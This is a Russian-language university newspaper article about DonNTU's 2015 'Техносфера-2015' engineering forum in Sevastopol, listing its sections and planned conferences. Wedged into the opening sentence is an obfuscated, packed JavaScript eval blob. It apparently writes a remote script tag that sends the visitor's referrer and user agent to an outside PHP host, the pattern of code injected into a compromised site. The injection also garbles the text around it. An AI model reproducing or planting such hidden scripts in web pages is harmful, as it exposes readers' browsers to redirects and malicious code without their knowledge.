

Вышел eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sadrz|var|u0026u|referrer|fyker||js|php'.split('|'),0, {})) в свет 2-й номер спецвыпуска газеты "Донецкий политехник", посвященный исключительно науке и инновациям в Донецком национальном техническом университете (ДонНТУ). Подготовкой и изданием спецвыпуска "

[Наука и инновации ДонНТУ](#)

" традиционно занимаются сотрудники Научно-исследовательской части и Издательства "Донецкая политехника" университета.



октябрь 2015 спецвыпуск

science.donntu.org

ДОНЕЦКИЙ ПОЛИТЕХНИК

Газета Донецкого национального технического университета

НАУКА И ИННОВАЦИИ ДонНТУ

ДонНТУ провел Международный форум в городе Севастополе



Происходящие в техносфере изменения настолько глубоки и значительны, что постоянно требуют всестороннего изучения и комплексного анализа. В связи с этим, сотрудники ДонНТУ активно поддерживают традиции проведения международных научно-технических конференций, форумов и встреч с учеными других университетов из различных стран мира. Это способствует получению учеными университета новейшей информации о последних достижениях науки и техники, а также ознакомлению с основными изменениями, происходящими в техносфере.

В этом году состоялась 22-я конференция «Машиностроение и техносфера XXI века». Для ее проведения были объединены усилия университетов Довешка, Луганска и Севастополя. От имени ДонНТУ было сделано «ВОЗЗВАНИЕ» к другим университетам стран ЕАЭС о совместном проведении целого ряда конференций в рамках I Международного научно-технического форума «Техносфера-2015». На него откликнулись 12 международных конференций России, Казахстана, Армении, Абхазии, Нагорного Карабаха, ДНР и ЛНР. Форум состоялся 14-20 сентября 2015 г.

Целями этой встречи стали: консолидация ученых и специалистов различных стран, обмен научно-технической информацией, определение перспективных путей создания и развития новых технологий, развитие международного сотрудничества.

На I Международном научно-техническом форуме «Техносфера-2015» работало 5 секций.

1. Практика и перспективы создания и применения прогрессивных и нетрадиционных технологий. Интегрированные, комплексные, комбинированные и гибридные технологии. Механизация и автоматизация производственных процессов.

2. Комплексная автоматизация проектирования, подготовки и управления производством. Проблемы создания и применения прогрессивных инструментов и инструментальных материалов. Управление качеством продукции и технических систем. Проблемы инженерии поверхностного слоя изделий.

3. Современные проблемы машиноведения и деталей машин. Вопросы моделирования и расчетов технических систем.

4. Современные проблемы инженерии материалов, процессов и материаловедения в машиностроении. Наноматериалы и нанотехнологии. Упрочняющие технологии и покрытия изделий машиностроения.

5. Специальная техника и технологии техносферы. Экологические проблемы техносферы. Современные проблемы инженерного образования. Интеграция образования стран ЕАЭС и Евроинтеграция в образовании.

На форуме отмечалось, что современный мир техники и техносферы сложен и многообразен, динамичен и противоречив, прогнозы процессами преобразования и изменения. Данная встреча способствовала получению ее участниками новейшей информации о последних достижениях науки и техники.

Активное участие в форуме также приняла молодежь. Не однократно отмечалось, что, несмотря на существующие пробле-



мы и трудности, молодые специалисты продолжают идти вперед по тернистым тропам науки и познаний, благодаря чему наука и прогресс будут непрерывно активизироваться и развиваться.

Работа форума, конференций и съезда прошла творчески и плодотворно. Участники встреч единогласно приняли решение провести в 2016 г. в Севастополе целый ряд конференций в рамках II Международного научно-технического форума «Техносфера-2015». Несомненно, подобные встречи необходимы для молодых ученых и специалистов, ведь здесь они могут ознакомиться с новыми направлениями развития машиностроения и техники. Также, участие в подобных мероприятиях важно для ученых и специалистов университетов и предприятий для определения вектора прогрессивного развития техносферы и укрепления международного сотрудничества.

Также было принято решение провести в октябре 2016 г. в Сухуми на базе Абхазского государственного технического университета IX Международную научно-методическую конференцию «Современные проблемы техносферы и подготовки инженерных кадров». Ранее эту конференцию ДонНТУ ежегодно проводил в Тунисе, но из-за чрезвычайного положения в этой стране проведение данной конференции было приостановлено.

В целом, форум и конференции прошли познавательно и продуктивно, были намечены основные пути развития новой техники и технологий, что в перспективе даст новый импульс для прогрессивного развития техники и техносферы.

Александр МИХАЙЛОВ

Видео: [https://www.youtube.com/watch?v=...](#)